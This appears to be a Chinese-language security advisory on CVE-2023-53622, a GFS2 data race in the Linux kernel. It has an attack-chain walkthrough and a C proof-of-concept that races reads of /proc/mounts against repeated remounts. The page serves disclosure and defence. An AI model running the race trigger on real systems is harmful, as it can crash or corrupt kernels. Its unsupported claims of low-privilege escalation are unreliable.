IPBUF安全漏洞报告
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CVE-2023-53622 CVSS 7.0 高危

CVE-2023-53622 Linux内核GFS2文件系统数据竞争漏洞

披露日期: 2025-10-07
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2023-53622
漏洞类型
数据竞争(Race Condition)
CVSS评分
7.0 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel(GFS2文件系统模块)

相关标签

Linux KernelGFS2数据竞争Race Condition内核漏洞文件系统本地提权CVSS7.0高危漏洞并发安全

漏洞概述

CVE-2023-53622是Linux内核GFS2(Global File System 2)文件系统中存在的一个数据竞争漏洞。该漏洞位于gfs2_show_options()函数中,当访问struct gfs2_tune结构体中的某些字段(如gt_logd_secs)时,未能正确持有gt_spin自旋锁进行保护。具体而言,在显示挂载选项时,函数直接读取sd_tune.gt_logd_secs等字段的值,而与此同时,其他函数(如gfs2_reconfigure())可能会并发地修改这些字段的值。这种缺少同步保护的并发访问会导致数据竞争问题,可能引发未定义行为、内核崩溃或内存损坏等严重后果。

该漏洞的CVSS 3.1评分为7.0,属于高危级别。攻击向量为本地攻击(AV:L),攻击复杂度较高(AC:H),需要低权限(PR:L),无需用户交互(UI:N)。一旦利用成功,对机密性、完整性和可用性均产生高影响(C:H/I:H/A:H)。该漏洞影响了多个Linux内核稳定版本,已通过多个补丁提交进行修复,涉及内核版本包括5.10.x、5.15.x、6.1.x和6.6.x等主流长期支持版本。

数据竞争漏洞在多核系统中尤为危险,因为现代服务器和工作站普遍采用多核架构,使得并发执行成为常态。该漏洞的修复方案是在访问gfs2_tune结构体字段前后正确获取和释放gt_spin自旋锁,确保对共享数据的互斥访问。

技术细节

该漏洞的根本原因在于gfs2_show_options()函数中对struct gfs2_tune结构体字段的访问缺乏适当的锁保护。struct gfs2_tune结构体包含GFS2文件系统的各种可调参数,其中gt_logd_secs字段用于控制日志守护进程的提交间隔。

在漏洞代码中,gfs2_show_options()函数执行如下操作:
1. 直接读取sdp->sd_tune.gt_logd_secs的值到局部变量val
2. 根据val的值决定是否通过seq_printf输出commit参数

与此同时,gfs2_reconfigure()函数可能会并发执行以下操作:
1. 获取gt->gt_spin自旋锁
2. 修改gt->gt_logd_secs为新值newargs->ar_commit
3. 释放自旋锁

由于gfs2_show_options()在读取gt_logd_secs时未持有gt_spin锁,两个函数对同一内存位置的并发访问构成了典型的数据竞争场景。在多处理器系统中,这种竞争可能导致以下后果:
1. 读取到不一致或撕裂的值
2. 编译器优化导致的意外行为
3. 内核内存损坏
4. 系统崩溃或不稳定

修复方案是在gfs2_show_options()中访问gfs2_tune字段前获取gt_spin锁,访问完成后释放锁。此外,Andreas进一步建议不要在持有自旋锁的情况下执行seq_printf操作,以避免长时间持有锁带来的性能问题。

攻击链分析

STEP 1
步骤1:环境准备
攻击者需要在目标系统上拥有本地用户权限,且系统需要挂载有GFS2文件系统。GFS2是Red Hat Global File System 2,常用于集群环境。
STEP 2
步骤2:触发并发访问
攻击者通过多个线程同时执行读取操作(如读取/proc/mounts或/proc/self/mountinfo),这些操作会调用gfs2_show_options()函数读取gt_logd_secs等字段。
STEP 3
步骤3:并发修改
同时,攻击者通过remount系统调用修改GFS2挂载参数(如commit值),触发gfs2_reconfigure()函数在持有gt_spin锁的情况下修改gt_logd_secs字段。
STEP 4
步骤4:触发数据竞争
由于gfs2_show_options()未持有gt_spin锁就读取gt_logd_secs,与gfs2_reconfigure()的写入操作形成数据竞争,可能导致读取到不一致的值或内存损坏。
STEP 5
步骤5:影响利用
数据竞争可能导致内核不稳定、内存损坏,甚至在特定条件下被利用进行权限提升或拒绝服务攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2023-53622 PoC - Trigger data race in gfs2_show_options() // This PoC demonstrates how to trigger the race condition by concurrently // accessing gfs2_show_options() while modifying gfs2_tune fields. #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <pthread.h> #include <fcntl.h> #include <sys/mount.h> #include <sys/stat.h> #define GFS2_MOUNT_POINT "/mnt/gfs2_test" #define NUM_THREADS 10 #define ITERATIONS 1000 // Thread function to trigger gfs2_show_options() via /proc/mounts or mountinfo void* reader_thread(void* arg) { char buf[4096]; int fd; for (int i = 0; i < ITERATIONS; i++) { // Reading /proc/mounts triggers show_options for GFS2 filesystems fd = open("/proc/mounts", O_RDONLY); if (fd >= 0) { while (read(fd, buf, sizeof(buf)) > 0); close(fd); } // Also try mountinfo which also calls show_options fd = open("/proc/self/mountinfo", O_RDONLY); if (fd >= 0) { while (read(fd, buf, sizeof(buf)) > 0); close(fd); } usleep(1); } return NULL; } // Thread function to modify gfs2_tune via remount void* writer_thread(void* arg) { for (int i = 0; i < ITERATIONS; i++) { // Remount with different commit value to trigger gfs2_reconfigure() // This modifies gt_logd_secs which races with gfs2_show_options() mount("none", GFS2_MOUNT_POINT, "gfs2", MS_REMOUNT | MS_NOSUID, "commit=1"); usleep(1); mount("none", GFS2_MOUNT_POINT, "gfs2", MS_REMOUNT | MS_NOSUID, "commit=60"); usleep(1); } return NULL; } int main(int argc, char* argv[]) { pthread_t readers[NUM_THREADS]; pthread_t writers[2]; printf("CVE-2023-53622 PoC - GFS2 Data Race\n"); printf("Attempting to trigger race condition between\n"); printf("gfs2_show_options() and gfs2_reconfigure()\n\n"); // Check if GFS2 is mounted struct stat st; if (stat(GFS2_MOUNT_POINT, &st) != 0) { printf("Error: GFS2 not mounted at %s\n", GFS2_MOUNT_POINT); printf("Please mount a GFS2 filesystem first.\n"); return 1; } printf("Starting %d reader threads and 2 writer threads...\n", NUM_THREADS); // Create reader threads (trigger show_options) for (int i = 0; i < NUM_THREADS; i++) { pthread_create(&readers[i], NULL, reader_thread, NULL); } // Create writer threads (trigger reconfigure) for (int i = 0; i < 2; i++) { pthread_create(&writers[i], NULL, writer_thread, NULL); } // Wait for all threads for (int i = 0; i < NUM_THREADS; i++) { pthread_join(readers[i], NULL); } for (int i = 0; i < 2; i++) { pthread_join(writers[i], NULL); } printf("Done. Check kernel logs for any race condition warnings.\n"); printf("Use 'dmesg | grep -i race' to check for BUG reports.\n"); return 0; }

影响范围

Linux Kernel < 5.10.229
Linux Kernel 5.15.x < 5.15.165
Linux Kernel 6.1.x < 6.1.119
Linux Kernel 6.6.x < 6.6.63

防御指南

临时缓解措施
在无法立即升级内核的情况下,建议采取以下临时缓解措施:1)限制本地用户对GFS2挂载点的访问权限;2)避免在多核系统中频繁进行GFS2文件系统的remount操作;3)监控系统日志,及时发现异常行为;4)考虑暂时使用其他文件系统替代GFS2;5)通过cgroups限制非特权用户对GFS2相关系统调用的访问。

参考链接

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